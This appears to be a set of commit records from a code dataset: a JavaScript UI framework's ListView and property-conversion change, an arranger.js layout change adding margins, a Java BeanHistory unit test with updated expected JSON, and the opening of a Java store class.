} else {
this._onRowsChanged(0, items.length)
this._onRowsInserted(items.length, model.count)
}
this._layout()
}
_globals.core.ListView.prototype._onRowsInserted = function(begin, end) {
console.log("rows inserted", begin, end)
var items = this._items
for(var i = begin; i < end; ++i)
items.splice(i, 0, null)
this._layout()
}
_globals.core.ListView.prototype._onRowsChanged = function(begin, end) {
console.log("rows changed", begin, end)
var items = this._items
for(var i = begin; i < end; ++i) {
items[i].element.remove()
items[i] = null
}
this._layout()
}
_globals.core.ListView.prototype._onRowsRemoved = function(begin, end) {
console.log("rows removed", begin, end)
var items = this._items
for(var i = begin; i < end; ++i) {
var item = items[i];
if (item)
items[i].element.remove()
items[i] = null
}
items.splice(begin, end - begin)
this._layout()
}
_globals.core.ListView.prototype._layout = function() {
var model = this.model;
if (!model)
return
this.count = model.count
var w = this.width, h = this.height
if (!w || !h)
return
var items = this._items
var n = items.length
console.log("layout " + n + " into " + w + "x" + h)
var horizontal = this.orientation === this.Horizontal
var p = horizontal? -this.contextX: -this.contentY, size = horizontal? w: h
for(var i = 0; i < n; ++i) {
if (!this._items[i])
this._items[i] = this.delegate()
var item = this._items[i]
if (horizontal)
item.viewX = p
else
item.viewY = p
var s = (horizontal? item.width: item.height)
item.visible = (p + s >= 0 && p < size)
p += s + this.spacing
}
}
_globals.core.ListView.prototype._attach = function() {
if (this._attached || !this.model || !this.delegate)
return
this.model.on('reset', this._onReset.bind(this))
this.model.on('rowsInserted', this._onRowsInserted.bind(this))
this.model.on('rowsChanged', this._onRowsChanged.bind(this))
this.model.on('rowsRemoved', this._onRowsRemoved.bind(this))
this._attached = true
this._onReset()
}
_globals.core.ListView.prototype._update = function(name, value) {
switch(name) {
case 'width':
case 'height':
_globals.core.Item.prototype._update.apply(this, arguments);
case 'contentX':
case 'contentY':
this._layout()
return;
case 'model':
this._attach()
break
case 'delegate':
if (value) {
value.visible = false;
}
this._attach()
break
}
_globals.core.Item.prototype._update.apply(this, arguments);
}
exports.Context.prototype = Object.create(qml.core.Item.prototype);
exports.Context.prototype.constructor = exports.Context;
exports.Context.prototype._onCompleted = function(callback) {
this._completedHandlers.push(callback);
}
exports.Context.prototype._completed = function() {
this._completedHandlers.forEach(function(callback) { try { callback(); } catch(ex) { console.log("completed handler failed", ex); }} )
this._completedHandlers = [];
}
exports.Context.prototype.start = function(name) {
var proto;
if (typeof name == 'string') {
//console.log('creating component...', name);
var path = name.split('.');
proto = _globals;
for (var i = 0; i < path.length; ++i)
proto = proto[path[i]]
}
else
proto = name;
var instance = Object.create(proto.prototype);
proto.apply(instance, [this]);
this._completed();
return instance;
}
}
exports.Context = function() {
_globals.core.Item.apply(this, null);
this._local['renderer'] = this;
this._completedHandlers = []
var win = $(window);
var w = win.width();
var h = win.height();
//console.log("window size: " + w + "x" + h);
var body = $('body');
var div = $("<div id='renderer'></div>");
body.append(div);
$('head').append($("<style>" +
"div#renderer { position: absolute; left: 0px; top: 0px; } " +
"div { position: absolute; border-style: solid; border-width: 0px; white-space: nowrap; } " +
"img { position: absolute; } " +
"</style>"
));
this.element = div
this.width = w;
this.height = h;
win.on('resize', function() { this.width = win.width(); this.height = win.height(); }.bind(this));
var self = this;
$(document).keydown(function(event) { self._processKey(event); } );
//console.log("context created");
}
exports.addProperty = function(self, type, name) {
var value;
var timer;
var timeout;
var interpolated_value;
switch(type) {
case 'int': value = 0; break;
case 'bool': value = false; break;
case 'real': value = 0.0; break;
default: if (type[0].toUpperCase() == type[0]) value = null; break;
}
Object.defineProperty(self, name, {
get: function() {
return value;
},
set: function(newValue) {
if (!self.getAnimation) {
console.log("bound unknown object", self)
throw "invalid object";
}
var animation = self.getAnimation(name)
if (animation && value != newValue) {
if (timer)
clearInterval(timer);
if (timeout)
clearTimeout(timeout);
var duration = animation.duration;
var date = new Date();
var started = date.getTime() + date.getMilliseconds() / 1000.0;
var src = interpolated_value !== undefined? interpolated_value: value;
var dst = newValue;
timer = setInterval(function() {
var date = new Date();
var now = date.getTime() + date.getMilliseconds() / 1000.0;
var t = 1.0 * (now - started) / duration;
if (t >= 1)
t = 1;
interpolated_value = animation.interpolate(dst, src, t);
self._update(name, interpolated_value, src);
});
timeout = setTimeout(function() {
clearInterval(timer);
interpolated_value = undefined;
self._update(name, dst, src);
}, duration);
}
oldValue = value;
if (oldValue != newValue) {
value = newValue;
if (!animation)
self._update(name, newValue, oldValue);
}
},
enumerable: true
});
}
exports.addAliasProperty = function(self, name, getObject, getter, setter) {
var target = getObject();
target.onChanged(name, function(value) { self._update(name, value); });
Object.defineProperty(self, name, {
get: getter,
set: setter,
enumerable: true
});
}
exports._bootstrap = function(self, name) {
switch(name) {
case 'core.ListModel':
self._rows = []
break;
case 'core.ListView':
self._items = []
break;
case 'core.Item':
if (!self.parent) //top-level item, do not create item
break;
if (self.element)
throw "double ctor call";
self.element = $('<div/>');
self.parent.element.append(self.element);
break;
case 'core.MouseArea':
self.element.hover(self._onEnter.bind(self), self._onExit.bind(self));
self.element.on('click', self._onClick.bind(self));
break;
case 'core.Image':
self.element.remove();
self.element = $('<img/>');
self.parent.element.append(self.element);
self.element.on('load', self._onLoad.bind(self));
self.element.on('error', self._onError.bind(self));
break;
}
}
| convert value before assigning to value (rounding/bool transformation)
| core/core.js | convert value before assigning to value (rounding/bool transformation) | <ide><path>ore/core.js
<ide> case 'real': value = 0.0; break;
<ide> default: if (type[0].toUpperCase() == type[0]) value = null; break;
<ide> }
<add> var convert = function(value) {
<add> switch(type) {
<add> case 'int': return Math.floor(value);
<add> case 'bool': return value? true: false;
<add> default: return value;
<add> }
<add> }
<ide> Object.defineProperty(self, name, {
<ide> get: function() {
<ide> return value;
<ide> console.log("bound unknown object", self)
<ide> throw "invalid object";
<ide> }
<add> newValue = convert(newValue)
<ide> var animation = self.getAnimation(name)
<ide> if (animation && value != newValue) {
<ide> if (timer)
<ide> if (t >= 1)
<ide> t = 1;
<ide>
<del> interpolated_value = animation.interpolate(dst, src, t);
<add> interpolated_value = convert(animation.interpolate(dst, src, t));
<ide> self._update(name, interpolated_value, src);
<ide> });
<ide> |
|
JavaScript | apache-2.0 | 111e9ce730bd621ae38269cabf71aa465147497e | 0 | andry-tino/flowable,andry-tino/flowable | /**
* arranger.js
* Andrea Tino - 2017
*/
import * as relationsTable from "./relationsTable";
import * as treeTableConversions from "./table2tree";
import * as tree from "./tree";
/**
* Describes the arranging algorithm.
* The algorithm takes as input a table of boxes, those
* boxes will be modified, not copied.
*
* @export
* @class Arranger
*/
export class Arranger {
/**
* Creates an instance of Arranger.
* @param {relationsTable.RelationsTable} table
* @memberof Arranger
*/
constructor(table) {
if (!table) throw "table cannot be null or undefined";
this.table = table;
this.root = null; // The root of the tree
}
/**
* Runs the algorithm.
*
* @memberof Arranger
*/
run() {
if (!this.root) {
this.root = new treeTableConversions.Table2Tree(this.table).convert();
if (!this.root) throw "Error during table2tree conversion";
}
// Variables used to keep track of the max values for the positions in the 4 directions
let maxX = 0,
minX = 0,
maxY = 0,
minY = 0;
const marginX = 10; // In pixels
const marginY = 10; // In pixels
// Here we should have the tree
let traverser = new TreeTraverser(this.root);
// Initialize
traverser.traverse(function(node, type) {
let box = node.content;
if (!box) throw "Node content (box) not present";
box.x = 0;
box.y = 0;
// TODO: Add checks for dimensions
});
// Arrange
traverser.traverse(function(node, type) {
let box = node.content;
if (!box) throw "Node content (box) not present";
if (type === -1) { // Current node is the root
// Update position variable
maxX += box.width;
maxY += box.height;
minX += 0;
minY += 0;
return;
}
if (type === tree.Arc.D) { // Current node is DOWN with its parent
// Update node's position
box.y = maxY;
// Update position variable
maxY += (box.height + marginY);
return;
}
if (type === tree.Arc.U) { // Current node is UP with its parent
// Update node's position
box.y = minY;
// Update position variable
minY -= (box.height + marginY);
return;
}
if (type === tree.Arc.L) { // Current node is LEFT with its parent
// Update node's position
box.x = maxX;
// Update position variable
maxX += (box.width + marginX);
return;
}
if (type === tree.Arc.R) { // Current node is RIGHT with its parent
// Update node's position
box.x = minX;
// Update position variable
minX -= (box.width + marginX);
return;
}
throw `Unrecognized relation type: ${type}`;
});
}
}
/**
* Traverses a tree.
* Strategy implemented: from first to last node (left to right) + depth-first
*
* @class TreeTraverser
*/
class TreeTraverser {
/**
* Creates an instance of TreeTraverser.
* @param {any} node
* @memberof TreeTraverser
*/
constructor(node) {
if (!node) throw "node cannot be null or undefined";
this.root = node;
}
/**
* Traverses the tree and, for every node, executes an action.
*
* @param {any} action A function accepting 2 args: traversed node, type of relation with parent.
* @memberof TreeTraverser
* @return {Number} The number of nodes traversed.
*/
traverse(action) {
if (!action) throw "action cannot be null or undefined";
let count = 0;
let actionWrapper = function(node, type) {
count++;
action(node, type);
};
// For no relation, we pass -1
traverseRec(this.root, -1, actionWrapper);
return count;
}
}
/**
* Recursively performs traversal.
*
* @param {any} node
* @param {any} type
* @param {any} action
* @returns
*/
function traverseRec(node, type, action) {
if (!node) return;
if (!type) return;
// Execute action
action(node, type);
// Recurse
for (let i = 1; i <= node.count; i++) {
let child = node.child(i).node;
if (!child) continue;
let arc = node.child(i).arc;
if (!arc) throw "Missing arc info";
let relationType = arc.type;
traverseRec(child, relationType, action);
}
}
| src/arranger.js | /**
* arranger.js
* Andrea Tino - 2017
*/
import * as relationsTable from "./relationsTable";
import * as treeTableConversions from "./table2tree";
import * as tree from "./tree";
/**
* Describes the arranging algorithm.
* The algorithm takes as input a table of boxes, those
* boxes will be modified, not copied.
*
* @export
* @class Arranger
*/
export class Arranger {
/**
* Creates an instance of Arranger.
* @param {relationsTable.RelationsTable} table
* @memberof Arranger
*/
constructor(table) {
if (!table) throw "table cannot be null or undefined";
this.table = table;
this.root = null; // The root of the tree
}
/**
* Runs the algorithm.
*
* @memberof Arranger
*/
run() {
if (!this.root) {
this.root = new treeTableConversions.Table2Tree(this.table).convert();
if (!this.root) throw "Error during table2tree conversion";
}
// Variables used to keep track of the max values for the positions in the 4 directions
let maxX = 0,
minX = 0,
maxY = 0,
minY = 0;
const margin = 10; // In pixels
// Here we should have the tree
let traverser = new TreeTraverser(this.root);
// Initialize
traverser.traverse(function(node, type) {
let box = node.content;
if (!box) throw "Node content (box) not present";
box.x = 0;
box.y = 0;
// TODO: Add checks for dimensions
});
// Arrange
traverser.traverse(function(node, type) {
let box = node.content;
if (!box) throw "Node content (box) not present";
if (type === -1) { // Current node is the root
// Update position variable
maxX += box.width;
maxY += box.height;
minX += 0;
minY += 0;
return;
}
if (type === tree.Arc.D) { // Current node is DOWN with its parent
// Update node's position
box.y = maxY;
// Update position variable
maxY += box.height;
return;
}
if (type === tree.Arc.U) { // Current node is UP with its parent
// Update node's position
box.y = minY;
// Update position variable
minY -= box.height;
return;
}
if (type === tree.Arc.L) { // Current node is LEFT with its parent
// Update node's position
box.x = maxX;
// Update position variable
maxX += box.width;
return;
}
if (type === tree.Arc.R) { // Current node is RIGHT with its parent
// Update node's position
box.x = minX;
// Update position variable
minX -= box.width;
return;
}
throw `Unrecognized relation type: ${type}`;
});
}
}
/**
* Traverses a tree.
* Strategy implemented: from first to last node (left to right) + depth-first
*
* @class TreeTraverser
*/
class TreeTraverser {
/**
* Creates an instance of TreeTraverser.
* @param {any} node
* @memberof TreeTraverser
*/
constructor(node) {
if (!node) throw "node cannot be null or undefined";
this.root = node;
}
/**
* Traverses the tree and, for every node, executes an action.
*
* @param {any} action A function accepting 2 args: traversed node, type of relation with parent.
* @memberof TreeTraverser
* @return {Number} The number of nodes traversed.
*/
traverse(action) {
if (!action) throw "action cannot be null or undefined";
let count = 0;
let actionWrapper = function(node, type) {
count++;
action(node, type);
};
// For no relation, we pass -1
traverseRec(this.root, -1, actionWrapper);
return count;
}
}
/**
* Recursively performs traversal.
*
* @param {any} node
* @param {any} type
* @param {any} action
* @returns
*/
function traverseRec(node, type, action) {
if (!node) return;
if (!type) return;
// Execute action
action(node, type);
// Recurse
for (let i = 1; i <= node.count; i++) {
let child = node.child(i).node;
if (!child) continue;
let arc = node.child(i).arc;
if (!arc) throw "Missing arc info";
let relationType = arc.type;
traverseRec(child, relationType, action);
}
}
| Including margins
| src/arranger.js | Including margins | <ide><path>rc/arranger.js
<ide> maxY = 0,
<ide> minY = 0;
<ide>
<del> const margin = 10; // In pixels
<add> const marginX = 10; // In pixels
<add> const marginY = 10; // In pixels
<ide>
<ide> // Here we should have the tree
<ide> let traverser = new TreeTraverser(this.root);
<ide> box.y = maxY;
<ide>
<ide> // Update position variable
<del> maxY += box.height;
<add> maxY += (box.height + marginY);
<ide>
<ide> return;
<ide> }
<ide> box.y = minY;
<ide>
<ide> // Update position variable
<del> minY -= box.height;
<add> minY -= (box.height + marginY);
<ide>
<ide> return;
<ide> }
<ide> box.x = maxX;
<ide>
<ide> // Update position variable
<del> maxX += box.width;
<add> maxX += (box.width + marginX);
<ide>
<ide> return;
<ide> }
<ide> box.x = minX;
<ide>
<ide> // Update position variable
<del> minX -= box.width;
<add> minX -= (box.width + marginX);
<ide>
<ide> return;
<ide> } |
|
Java | apache-2.0 | 438ed36995cd775f7f91b8e2b50081fd33f5afe0 | 0 | hongyan99/beanone,beanone/beanone | package org.beanone;
import java.util.List;
import org.beanone.testbeans.TestObjectFactory;
import org.beanone.testbeans.UserDetail;
import org.junit.Assert;
import org.junit.Test;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
public class BeanHistoryTest {
private static final String BEAN_WITH_THREE_VERSIONS_JSON = "{\"initialState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bob\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123}],\"relations\":{\"brother\":{\"firstName\":\"William\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]}}},\"latestState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bobby\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123},{\"streetAddress\":\"222 Blue Ave.\",\"city\":\"Master\",\"zip\":111}],\"relations\":{}},\"patches\":[{\"additions\":{},\"deletions\":{},\"updates\":{\"person.firstName\":{\"oldValue\":\"S,Bob\",\"newValue\":\"S,Bobby\"}}},{\"additions\":{\"addresses.1#1ctype\":\"org.beanone.testbeans.Address\",\"addresses.1.serialVersionUID\":\"L,-7200555141567811331\",\"addresses.1.city\":\"S,Master\",\"addresses.1.streetAddress\":\"S,222 Blue Ave.\",\"addresses.1.zip\":\"I,111\"},\"deletions\":{\"relations.1#value.emailAddresses#2size\":\"0\",\"relations.1#value.lastName\":\"S,Smith\",\"relations.1#value.phones#1ctype\":\"java.util.ArrayList\",\"relations.1#value.emailAddresses#1ctype\":\"java.util.ArrayList\",\"relations.1#value#1ctype\":\"org.beanone.testbeans.Person\",\"relations.1#value.firstName\":\"S,William\",\"relations.1#value.serialVersionUID\":\"L,-5001884724414260401\",\"relations.1#value.phones#2size\":\"0\",\"relations.1#key\":\"S,brother\"},\"updates\":{\"relations#2size\":{\"oldValue\":\"1\",\"newValue\":\"0\"},\"addresses#2size\":{\"oldValue\":\"1\",\"newValue\":\"2\"}}}]}";
private final Gson gson = new GsonBuilder().create();
@Test
public void testBeanHistory() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
Assert.assertNotNull(bh.getInitialState());
Assert.assertNotNull(bh.getInitialState().getPerson());
Assert.assertNotNull(bh.getInitialState().getPerson().getFirstName());
Assert.assertNotNull(bh.getLatestState());
Assert.assertNotNull(bh.getInitialSnapshot());
Assert.assertNotNull(bh.getLastestSnapshot());
Assert.assertEquals(0, bh.getPatches().size());
}
@Test(expected = UnsupportedOperationException.class)
public void testBeanHistoryGetPatchesUnmodifiable() throws Exception {
final BeanHistory<UserDetail> hist = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
final List<BeanPatch<UserDetail>> patches = hist.getPatches();
Assert.assertEquals(2, patches.size());
patches.remove(0);
}
@Test
public void testBeanHistoryInitialStateFinalStatePatches()
throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
final BeanHistory<UserDetail> bh1 = new BeanHistory<>(
bh.getInitialState(), bh.getLatestState(), bh.getPatches());
Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
this.gson.toJson(bh1));
// final BeanHistory<UserDetail> bh2 = new BeanHistory<>(null,
// bh.getLatestState(), bh.getPatches());
// Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
// this.gson.toJson(bh2));
// final BeanHistory<UserDetail> bh3 = new BeanHistory<>(
// bh.getInitialState(), null, bh.getPatches());
// Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
// this.gson.toJson(bh3));
}
@Test
public void testBeanHistoryWithPatchesSerializedAsJson() throws Exception {
final BeanHistory<UserDetail> beanHistory = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
this.gson.toJson(beanHistory));
}
@Test
public void testCreatePatchBeanUpdater() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
bh.createPatch(bean -> bean.getPerson().setFirstName("Bobby"));
Assert.assertEquals(1, bh.getPatches().size());
Assert.assertEquals("S,Bobby", bh.getPatches().get(0).getUpdates()
.get("person.firstName").getNewValue());
}
@Test
public void testCreatePatchBeanUpdaterWithNoChanges() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
Assert.assertNull(bh.createPatch(bean -> bean.getPerson()));
}
@Test
public void testCreatePatchT() throws Exception {
final UserDetail userDetail = TestObjectFactory.createTestUserDetail();
final BeanHistory<UserDetail> bh = new BeanHistory<UserDetail>(
userDetail);
userDetail.getPerson().setFirstName("Bobby");
bh.createPatch(userDetail);
Assert.assertEquals(1, bh.getPatches().size());
Assert.assertEquals("S,Bobby", bh.getPatches().get(0).getUpdates()
.get("person.firstName").getNewValue());
}
@Test
public void testCreatePatchTWithNoChanges() throws Exception {
final UserDetail userDetail = TestObjectFactory.createTestUserDetail();
final BeanHistory<UserDetail> bh = new BeanHistory<UserDetail>(
userDetail);
Assert.assertNull(bh.createPatch(userDetail));
}
}
| src/test/java/org/beanone/BeanHistoryTest.java | package org.beanone;
import java.util.List;
import org.beanone.testbeans.TestObjectFactory;
import org.beanone.testbeans.UserDetail;
import org.junit.Assert;
import org.junit.Test;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
public class BeanHistoryTest {
private static final String BEAN_WITH_THREE_VERSIONS_JSON = "{\"initialState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bob\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123}],\"relations\":{\"brother\":{\"firstName\":\"William\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]}}},\"latestState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bobby\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123},{\"streetAddress\":\"222 Blue Ave.\",\"city\":\"Master\",\"zip\":111}],\"relations\":{}},\"patches\":[{\"additions\":{},\"deletions\":{},\"updates\":{\"person.firstName\":{\"oldValue\":\"S,Bob\",\"newValue\":\"S,Bobby\"}}},{\"additions\":{\"addresses.1.serialVersionUID\":\"L,-7200555141567811331\",\"person.emailAddresses#2size\":\"0\",\"person.firstName\":\"S,Bobby\",\"addresses.1.zip\":\"I,111\",\"addresses.1#1ctype\":\"org.beanone.testbeans.Address\",\"person.lastName\":\"S,Smith\",\"addresses.1.city\":\"S,Master\",\"addresses.1.streetAddress\":\"S,222 Blue Ave.\",\"person#1ctype\":\"org.beanone.testbeans.Person\",\"person.phones#1ctype\":\"java.util.ArrayList\",\"person.phones#2size\":\"0\",\"person.emailAddresses#1ctype\":\"java.util.ArrayList\",\"person.serialVersionUID\":\"L,-5001884724414260401\"},\"deletions\":{\"relations.1#value.emailAddresses#2size\":\"0\",\"relations.1#value.lastName\":\"S,Smith\",\"relations.1#value.phones#1ctype\":\"java.util.ArrayList\",\"relations.1#value.emailAddresses#1ctype\":\"java.util.ArrayList\",\"person#ref\":\"person\",\"relations.1#value#1ctype\":\"org.beanone.testbeans.Person\",\"relations.1#value.firstName\":\"S,William\",\"relations.1#value.serialVersionUID\":\"L,-5001884724414260401\",\"relations.1#value.phones#2size\":\"0\",\"relations.1#key\":\"S,brother\"},\"updates\":{\"relations#2size\":{\"oldValue\":\"1\",\"newValue\":\"0\"},\"addresses#2size\":{\"oldValue\":\"1\",\"newValue\":\"2\"}}}]}";
private final Gson gson = new GsonBuilder().create();
@Test
public void testBeanHistory() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
Assert.assertNotNull(bh.getInitialState());
Assert.assertNotNull(bh.getInitialState().getPerson());
Assert.assertNotNull(bh.getInitialState().getPerson().getFirstName());
Assert.assertNotNull(bh.getLatestState());
Assert.assertNotNull(bh.getInitialSnapshot());
Assert.assertNotNull(bh.getLastestSnapshot());
Assert.assertEquals(0, bh.getPatches().size());
}
@Test(expected = UnsupportedOperationException.class)
public void testBeanHistoryGetPatchesUnmodifiable() throws Exception {
final BeanHistory<UserDetail> hist = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
final List<BeanPatch<UserDetail>> patches = hist.getPatches();
Assert.assertEquals(2, patches.size());
patches.remove(0);
}
@Test
public void testBeanHistoryInitialStateFinalStatePatches()
throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
final BeanHistory<UserDetail> bh1 = new BeanHistory<>(
bh.getInitialState(), bh.getLatestState(), bh.getPatches());
Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
this.gson.toJson(bh1));
// final BeanHistory<UserDetail> bh2 = new BeanHistory<>(null,
// bh.getLatestState(), bh.getPatches());
// Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
// this.gson.toJson(bh2));
// final BeanHistory<UserDetail> bh3 = new BeanHistory<>(
// bh.getInitialState(), null, bh.getPatches());
// Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
// this.gson.toJson(bh3));
}
@Test
public void testBeanHistoryWithPatchesSerializedAsJson() throws Exception {
final BeanHistory<UserDetail> beanHistory = TestObjectFactory
.createTestBeanHistoryWithThreeVersions();
Assert.assertEquals(BEAN_WITH_THREE_VERSIONS_JSON,
this.gson.toJson(beanHistory));
}
@Test
public void testCreatePatchBeanUpdater() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
bh.createPatch(bean -> bean.getPerson().setFirstName("Bobby"));
Assert.assertEquals(1, bh.getPatches().size());
Assert.assertEquals("S,Bobby", bh.getPatches().get(0).getUpdates()
.get("person.firstName").getNewValue());
}
@Test
public void testCreatePatchBeanUpdaterWithNoChanges() throws Exception {
final BeanHistory<UserDetail> bh = TestObjectFactory
.createTestBeanHistory();
Assert.assertNull(bh.createPatch(bean -> bean.getPerson()));
}
@Test
public void testCreatePatchT() throws Exception {
final UserDetail userDetail = TestObjectFactory.createTestUserDetail();
final BeanHistory<UserDetail> bh = new BeanHistory<UserDetail>(
userDetail);
userDetail.getPerson().setFirstName("Bobby");
bh.createPatch(userDetail);
Assert.assertEquals(1, bh.getPatches().size());
Assert.assertEquals("S,Bobby", bh.getPatches().get(0).getUpdates()
.get("person.firstName").getNewValue());
}
@Test
public void testCreatePatchTWithNoChanges() throws Exception {
final UserDetail userDetail = TestObjectFactory.createTestUserDetail();
final BeanHistory<UserDetail> bh = new BeanHistory<UserDetail>(
userDetail);
Assert.assertNull(bh.createPatch(userDetail));
}
}
| fixed test failure
| src/test/java/org/beanone/BeanHistoryTest.java | fixed test failure | <ide><path>rc/test/java/org/beanone/BeanHistoryTest.java
<ide> import com.google.gson.GsonBuilder;
<ide>
<ide> public class BeanHistoryTest {
<del> private static final String BEAN_WITH_THREE_VERSIONS_JSON = "{\"initialState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bob\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123}],\"relations\":{\"brother\":{\"firstName\":\"William\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]}}},\"latestState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bobby\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123},{\"streetAddress\":\"222 Blue Ave.\",\"city\":\"Master\",\"zip\":111}],\"relations\":{}},\"patches\":[{\"additions\":{},\"deletions\":{},\"updates\":{\"person.firstName\":{\"oldValue\":\"S,Bob\",\"newValue\":\"S,Bobby\"}}},{\"additions\":{\"addresses.1.serialVersionUID\":\"L,-7200555141567811331\",\"person.emailAddresses#2size\":\"0\",\"person.firstName\":\"S,Bobby\",\"addresses.1.zip\":\"I,111\",\"addresses.1#1ctype\":\"org.beanone.testbeans.Address\",\"person.lastName\":\"S,Smith\",\"addresses.1.city\":\"S,Master\",\"addresses.1.streetAddress\":\"S,222 Blue Ave.\",\"person#1ctype\":\"org.beanone.testbeans.Person\",\"person.phones#1ctype\":\"java.util.ArrayList\",\"person.phones#2size\":\"0\",\"person.emailAddresses#1ctype\":\"java.util.ArrayList\",\"person.serialVersionUID\":\"L,-5001884724414260401\"},\"deletions\":{\"relations.1#value.emailAddresses#2size\":\"0\",\"relations.1#value.lastName\":\"S,Smith\",\"relations.1#value.phones#1ctype\":\"java.util.ArrayList\",\"relations.1#value.emailAddresses#1ctype\":\"java.util.ArrayList\",\"person#ref\":\"person\",\"relations.1#value#1ctype\":\"org.beanone.testbeans.Person\",\"relations.1#value.firstName\":\"S,William\",\"relations.1#value.serialVersionUID\":\"L,-5001884724414260401\",\"relations.1#value.phones#2size\":\"0\",\"relations.1#key\":\"S,brother\"},\"updates\":{\"relations#2size\":{\"oldValue\":\"1\",\"newValue\":\"0\"},\"addresses#2size\":{\"oldValue\":\"1\",\"newValue\":\"2\"}}}]}";
<add> private static final String BEAN_WITH_THREE_VERSIONS_JSON = "{\"initialState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bob\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123}],\"relations\":{\"brother\":{\"firstName\":\"William\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]}}},\"latestState\":{\"position\":1,\"userId\":\"bob.smith\",\"person\":{\"firstName\":\"Bobby\",\"lastName\":\"Smith\",\"emailAddresses\":[],\"phones\":[]},\"addresses\":[{\"streetAddress\":\"123 Main St.\",\"city\":\"Seattle\",\"zip\":123},{\"streetAddress\":\"222 Blue Ave.\",\"city\":\"Master\",\"zip\":111}],\"relations\":{}},\"patches\":[{\"additions\":{},\"deletions\":{},\"updates\":{\"person.firstName\":{\"oldValue\":\"S,Bob\",\"newValue\":\"S,Bobby\"}}},{\"additions\":{\"addresses.1#1ctype\":\"org.beanone.testbeans.Address\",\"addresses.1.serialVersionUID\":\"L,-7200555141567811331\",\"addresses.1.city\":\"S,Master\",\"addresses.1.streetAddress\":\"S,222 Blue Ave.\",\"addresses.1.zip\":\"I,111\"},\"deletions\":{\"relations.1#value.emailAddresses#2size\":\"0\",\"relations.1#value.lastName\":\"S,Smith\",\"relations.1#value.phones#1ctype\":\"java.util.ArrayList\",\"relations.1#value.emailAddresses#1ctype\":\"java.util.ArrayList\",\"relations.1#value#1ctype\":\"org.beanone.testbeans.Person\",\"relations.1#value.firstName\":\"S,William\",\"relations.1#value.serialVersionUID\":\"L,-5001884724414260401\",\"relations.1#value.phones#2size\":\"0\",\"relations.1#key\":\"S,brother\"},\"updates\":{\"relations#2size\":{\"oldValue\":\"1\",\"newValue\":\"0\"},\"addresses#2size\":{\"oldValue\":\"1\",\"newValue\":\"2\"}}}]}";
<ide> private final Gson gson = new GsonBuilder().create();
<ide>
<ide> @Test |
|
Java | apache-2.0 | 275a972bb66eb6f22d2e7657df7e9d7a3a3cfd07 | 0 | hsaputra/cdap,chtyim/cdap,chtyim/cdap,mpouttuclarke/cdap,mpouttuclarke/cdap,caskdata/cdap,anthcp/cdap,chtyim/cdap,caskdata/cdap,mpouttuclarke/cdap,chtyim/cdap,chtyim/cdap,hsaputra/cdap,caskdata/cdap,hsaputra/cdap,caskdata/cdap,anthcp/cdap,anthcp/cdap,hsaputra/cdap,chtyim/cdap,mpouttuclarke/cdap,anthcp/cdap,hsaputra/cdap,caskdata/cdap,caskdata/cdap,anthcp/cdap,mpouttuclarke/cdap | /*
* Copyright 2012-2013 Continuuity,Inc. All Rights Reserved.
*/
package com.continuuity.internal.app.store;
import com.continuuity.api.ApplicationSpecification;
import com.continuuity.api.batch.MapReduceSpecification;
import com.continuuity.api.data.OperationException;
import com.continuuity.api.data.StatusCode;
import com.continuuity.api.flow.FlowSpecification;
import com.continuuity.api.flow.FlowletDefinition;
import com.continuuity.api.procedure.ProcedureSpecification;
import com.continuuity.app.Id;
import com.continuuity.app.program.Program;
import com.continuuity.app.program.Programs;
